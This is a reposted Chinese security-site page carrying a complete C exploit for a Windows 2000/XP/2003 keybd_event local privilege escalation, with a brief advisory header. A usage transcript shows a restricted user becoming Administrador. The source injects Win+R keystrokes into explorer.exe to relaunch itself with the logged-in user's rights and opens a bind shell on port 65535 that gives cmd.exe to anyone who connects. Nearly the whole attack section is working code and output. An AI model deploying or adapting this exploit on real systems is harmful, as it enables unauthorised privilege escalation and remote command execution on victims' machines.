分享
 
 
 

Microsoft Windows "keybd_event" Local Privilege Escalation Exploit

王朝system·作者佚名  2006-01-10
窄屏简体版  字體: |||超大  

文章整理:天天安全网 作者:佚名 发布时间:2005-09-09

漏洞资料:http://www.haxorcitos.com/MSRC-6005bgs-EN.txt

危险程度:中等

影响范围:Microsoft Windows 2000/XP/2003

解决办法:暂时没有解决方案

------------------------------------------------------------------------------

/*

* Microsoft Windows keybd_event validation vulnerability.

* Local privilege elevation

*

* Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com <http://haxorcitos.com>)

* I馻ki Lopez ( ilo _@_ reversing.org <http://reversing.org> )

*

* Platforms afected/tested:

*

* - Windows 2000

* - Windows XP

* - Windows 2003

*

*

* Original Advisory: http://www.haxorcitos.com

* http://www.reversing.org

*

* Exploit Date: 08 / 06 / 2005

*

* Orignal Advisory:

* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"

* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

*

* Attack Scenario:

*

* a) An attacker who gains access to an unprivileged shell/application executed

* with the application runas.

* b) An attacker who gains access to a service with flags INTERACT_WITH_DESKTOP

*

* Impact:

*

* Due to an invalid keyboard input validation, its possible to send keys to any

* application of the Desktop.

* By sending some short-cut keys its possible to execute code and elevate privileges

* getting loggued user privileges and bypass runas/service security restriction.

*

* Exploit usage:

*

* C:\>whoami

* AQUARIUS\Administrador

*

* C:\>runas /user:restricted cmd.exe

* Enter the password for restricted:

* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...

*

*

* Microsoft Windows 2000 [Version.00.2195]

* (C) Copyright 1985-2000 Microsoft Corp.

*

* C:\WINNT\system32>cd \

*

* C:\>whoami

* AQUARIUS\restricted

*

* C:\>tlist.exe |find "explorer.exe"

* 1140 explorer.exe Program Manager

*

* C:\>c:\keybd.exe 1140

* HANDLE Found. Attacking =)

*

* C:\>nc localhost 65535

* Microsoft Windows 2000 [Versi??.00.2195]

* (C) Copyright 1985-2000 Microsoft Corp.

*

* C:\>whoami

* whoami

* AQUARIUS\Administrador

*

*

* DONE =)

*

*/

#include <stdio.h>

#include <string.h>

#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535

unsigned int pid = 0;

char buf[256]="";

/**************************************************************/

void ExplorerExecution (HWND hwnd, LPARAM lParam){

DWORD hwndid;

int i;

GetWindowThreadProcessId(hwnd,&hwndid);

if (hwndid == pid){

/*

Replace keybd_event with SendMessage() and PostMessage() calls

*/

printf("HANDLE Found. Attacking =)\n");

SetForegroundWindow(hwnd);

keybd_event(VK_LWIN,1,0,0);

keybd_event(VkKeyScan('r'),1,0,0);

keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);

keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);

for(i=0;i<strlen(buf);i++) {

if (buf[i]==':') {

keybd_event(VK_SHIFT,1,0,0);

keybd_event(VkKeyScan(buf[i]),1,0,0);

keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);

keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);

} else {

if (buf[i]=='\\') {

keybd_event(VK_LMENU,1,0,0);

keybd_event(VK_CONTROL,1,0,0);

keybd_event(VkKeyScan('?'),1,0,0);

keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);

keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);

keybd_event(VkKeyScan('?'),1,KEYEVENTF_KEYUP,0);

} else {

keybd_event(VkKeyScan(buf[i]),1,0,0);

keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);

}

}

}

keybd_event(VK_RETURN,1,0,0);

keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);

exit(1);

}

}

/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

SOCKET s,s2;

STARTUPINFO si;

PROCESS_INFORMATION pi;

WSADATA HWSAdata;

struct sockaddr_in sa;

int len;

if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }

if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){

exit(1); }

sa.sin_family = AF_INET;

sa.sin_port = (USHORT)htons(HAXORCITOS);

sa.sin_addr.s_addr = htonl(INADDR_ANY);

len=sizeof(sa);

if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {

return(-1); }

if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }

s2 = accept(s,(struct sockaddr *)&sa,&len);

closesocket(s);

ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );

si.cb = sizeof(si);

si.wShowWindow = SW_HIDE;

si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

si.hStdInput = (void *) s2; // SOCKET

si.hStdOutput = (void *) s2;

si.hStdError = (void *) s2;

if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) {

doFormatMessage(GetLastError());

return(-1);

}

WaitForSingleObject( pi.hProcess, INFINITE );

closesocket(s);

closesocket(s2);

printf("SALIMOS...\n");

Sleep(5000);

return(1);

}

/**************************************************************/

void main(int argc, char* argv[])

{

HWND console_wnd = NULL;

if (argc >= 2) {

pid = atoi (argv[1]);

strncpy(buf,argv[0],sizeof(buf)-1);

EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));

} else {

BindShell();

}

}

/**************************************************************/

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有